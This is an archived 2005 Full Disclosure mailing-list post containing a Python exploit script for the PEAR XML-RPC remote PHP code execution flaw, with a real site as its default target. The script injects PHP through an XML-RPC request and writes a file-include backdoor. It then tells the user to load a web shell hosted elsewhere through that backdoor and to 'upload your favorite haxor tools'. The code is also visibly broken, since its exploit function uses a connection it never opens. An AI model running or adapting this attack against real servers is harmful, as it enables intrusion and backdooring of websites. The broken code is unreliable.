Full Disclosure - XMLRPC Exploit Code written in Python jul 2005

Anonymous_at_Anonymous.com
Date: 07/12/05

Next message: Tom Yu: "MITKRB5-SA-2005-002: buffer overflow, heap corruption in KDC"

Previous message: dcrab_at_hackerscenter.com: "Dragonfly Shopping Cart Multiple vulnerabilities"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Date: 12 Jul 2005 20:50:07 -0000
To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is) #!/usr/bin/python

# ./xmlrpc.py [chk|xpl] host uri
# example (check bug): ./xmlrpc.py chk www.postnuke.com /xmlrpc.php
# example (exploit bug): ./xmlrpc.py xpl www.postnuke.com /xmlrpc.php
# Pear XML-RPC Library 1.3.0 Remote PHP Code Execution Exploit -- Not working for me
# so i made this python code
# http://pear.php.net/bugs/bug.php?id=4692
# Bug #4692 Remote Code Exection In XML RPC Server
# xmlrpc.pl http://pathtoxmlrpc/server
# "id;pwd;uname -a;uptime"
# [*] Sending command id;pwd;uname -a;uptime
# [*] Command sent, waiting for response
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# /var/www/drupal
# Linux cacophony 2.4.18-bf2.4 Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
# 23:27:22 up 5 days, 9:05, 0 users, load average: 0.12, 0.16, 0.21
# http://www.postnuke.com/xmlrpc.php
# by k3rn3lp4nic. greetz: albanian security clan!!! july 2005

import sys, httplib

try:
chose = sys.argv[1]
except IndexError:
chose = 'chk'

try:
host = sys.argv[2]
except IndexError:
host = 'www.postnuke.com'

try:
uri = sys.argv[3]
except IndexError:
uri = '/xmlrpc.php'

def check():
        SoapMessage = """<?xml version="1.0"?>
        <methodCall>
        <methodName>test.method</methodName>
                <params>
                        <param>
                        <value><name>','')); phpinfo(); exit;/*</name></value>
                        </param>
                </params>
        </methodCall>
        """

        webservice = httplib.HTTP("%s" % host)
        webservice.putrequest("POST", "%s" % uri)
        webservice.putheader("Host", "%s" % host)
        webservice.putheader("User-Agent", "xmlrpc exploit R/1.1 postnuke k3rn37p4nic")
        webservice.putheader("Content-type", "application/xml")
        webservice.putheader("Content-length", "%d" % len(SoapMessage))
        webservice.endheaders()
        webservice.send(SoapMessage)

# get the response

def xpl():

        SoapMessage = """<?xml version="1.0"?>
        <methodCall>
        <methodName>test.method</methodName>
                <params>
                        <param>
                        <value><name>',''));
        echo 'start';
        passthru('del xmlrpcpy.php');
        $filename = 'xmlrpcpy.php';
        $somecontent = '%?php include(~inc); ?#';
        $somecontent = eregi_replace('%', chr(60), $somecontent);
        $somecontent = eregi_replace('~', chr(36), $somecontent);
        $somecontent = eregi_replace('#', chr(62), $somecontent);
        $handle = fopen($filename,'w');
        fwrite($handle, $somecontent);
        fclose($handle);

passthru('dir');

passthru('type xmlrpcpy.php');

        echo 'done';
        exit;
        /*</name></value>
                        </param>
                </params>
        </methodCall>
        """

# get the response

        statuscode, statusmessage, header = webservice.getreply()
        print "Response: ", statuscode, statusmessage
        print "headers: ", header
        res = webservice.getfile().read()
        print res
        print '\n\nExploit Successful!!!\nDownload http://www.suneworld.com/programs/webexplorer20.zip'
        print 'Rename index.php3 to index.txt and put it to some public host http://somehost.com/index.txt'
        print 'Now Accessed it like this: '
        print 'http://victimhost/postnukewhatever/xmlrpcpy.php?inc=http://somehost.com/index.txt'
        print 'Then upload your favorite haxor tools! Bye. Stay healthy!'

if __name__ == "__main__":
        print 'xmlrpc exploit R/1.1 4 postnuke by k3rn37p4nic'
        print 'revised it if you can! ver jul 2005'
        print 'Greetz: Albanian Security Clan!!!'
        print '---------------------------------------------'
        print './xmlrpc.py [chk|xpl] host uri'
        print 'example (check bug): ./xmlrpc.py chk www.postnuke.com /xmlrpc.php'
        print 'example (exploit bug): ./xmlrpc.py xpl www.postnuke.com /xmlrpc.php'
        if chose=='chk':
                check()
        elif chose=='xpl':
                xpl();
        else:
                print 'Boom! Script Kiddie'

Next message: Tom Yu: "MITKRB5-SA-2005-002: buffer overflow, heap corruption in KDC"

Previous message: dcrab_at_hackerscenter.com: "Dragonfly Shopping Cart Multiple vulnerabilities"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

Re: numeric module
... > IndexError: index must be either an int or a sequence ... > def testme(): ...
(comp.lang.python)
Re: itertools.intersect?
... def intersect: ... except IndexError: ... Here's my translation of your code to support variable number of streams: ...
(comp.lang.python)
Re: Simple exceptions question
... > def foo: ... If you expect the IndexError to be rare you could easily ... You are interested in the details of a failure that happens in another ... interested in the exact source of failure. ...
(comp.lang.python)
numeric module
... IndexError: index must be either an int or a sequence ... def testme(): ...
(comp.lang.python)
Re: What about an EXPLICIT naming scheme for built-ins?
... > def itersort: ... I think you're missing in this function a first line of ... What else but an empty a could trigger IndexError? ...
(comp.lang.python)